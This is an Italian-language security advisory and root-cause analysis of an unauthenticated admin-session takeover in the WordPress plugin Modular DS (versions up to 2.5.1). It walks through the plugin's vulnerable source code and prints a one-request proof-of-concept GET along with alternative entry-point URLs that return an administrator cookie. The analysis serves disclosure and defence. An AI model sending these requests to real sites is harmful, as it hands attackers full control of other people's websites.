
Analisi delle cause profonde, PoC e guida alla rilevazione per CVE-2026-23550, una critica acquisizione di sessione admin non autenticata nel plugin WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Analisi Causa Radice · Analisi del Codice Sorgente · Diff della Patch · PoC Educativo
Di: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) è un plugin per la gestione di siti WordPress con oltre 40.000 installazioni attive. Le versioni ≤ 2.5.1 contengono una catena di cinque difetti che consentono a qualsiasi attaccante non autenticato di bypassare l'autenticazione, invocare l'endpoint di login interno del plugin e ricevere un cookie di sessionewordpress_logged_in_*per il primo account amministratore — con una singola richiesta HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: vittima.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Risultato: acquisizione completa dell'amministratore. L'attaccante può installare plugin malevoli, inserire webshell, creare account admin di backup, esfiltrare il database.
| Campo | Valore |
|---|---|
| Nome Plugin | Modular DS |
| Slug | modular-connector |
| Vulnerabile | <= 2.5.1 |
| Corretto | 2.5.2 |
| Installazioni Attive | ~40.000 |
| CVSS v3.1 | 10.0 / CRITICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Errori di Identificazione e Autenticazione |
La vulnerabilità attiva un router personalizzato derivato da Laravel incorporato nel plugin. Il plugin fornisce il proprio kernel HTTP (Ares/Framework) che si aggancia all'azione parse_request di WordPress per intercettare le richieste prima che il routing nativo di WordPress subentri.
Prerequisiti: nessuno (plugin installato e attivo, connesso a Modular SaaS — predefinito per tutte le installazioni live).
Punti d'ingresso (uno qualsiasi è sufficiente):
/api/modular-connector/login/<qualsiasi>?origin=mo&type=<qualsiasi>
/?rest_route=/api/modular-connector/login/<qualsiasi>&origin=mo&type=<qualsiasi>
/index.php?rest_route=/api/modular-connector/login/<qualsiasi>&origin=mo&type=<qualsiasi>
/wp-load.php?origin=mo&type=<qualsiasi>
La vulnerabilità non è un singolo difetto — è una catena di cinque difetti che si combinano. Ogni livello, visto isolatamente, può sembrare difendibile; combinati, collassano in un'acquisizione dell'admin pre-autenticazione.
flowchart TB
A["🌐 Richiesta Attaccante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Il cancello si apre solo con parametri query"]
B --> C["② Router::findRoute()<br/>URL risolto implicitamente alla rotta /login"]
C --> D["③ filtro bindOldRoutes()<br/>Cade attraverso per tipo sconosciuto"]
D --> E["④ ModularGuard::check()<br/>Valida OAuth lato server, NON la richiesta"]
E --> F["⑤ AuthController::getLogin()<br/>Ripiega sul primo utente admin"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attaccante = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | Livello | File | Problema Principale |
|---|---|---|---|
| ① | Cancello di bootstrap | HttpUtils.php:64 | Controllo origin=mo basato solo su query, senza crittografia/nonce |
| ② | Matching URL→rotta | Router.php:20 | Risoluzione URL implicita passata direttamente al filtro |
| ③ | Filtro sovrascrittura rotta | RouteServiceProvider.php:46 | type sconosciuto cade attraverso con la rotta originale intatta |
| ④ | Guardia di autenticazione | ModularGuard.php:16 | Valida stato OAuth lato server, non l'identità della richiesta |
| ⑤ | Controller di login | AuthController.php:66 | Ripiegamento silenzioso su getAdminUser() in assenza di input |
HttpUtils::isDirectRequest()File: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ solo param query, nessuna firma
}
return false;
}
Problema: La modalità "richiesta diretta" — pensata per identificare chiamate legittime dal backend Modular SaaS — è protetta da parametri di query in testo semplice senza HMAC, JWT, nonce firmato o whitelist IP. Qualsiasi attaccante può attivare questo interruttore.
Router::findRoute()File: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL risolto in rotta PRIMA che il filtro venga eseguito
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problema: routes->match($request) di Laravel risolve /api/modular-connector/login/xxx nella rotta login (protetta da autenticazione) prima che il filtro di sicurezza venga eseguito. Il filtro riceve questa rotta come input, dandogli l'onere di dimostrare che la rotta è illegittima anziché autorizzarla esplicitamente.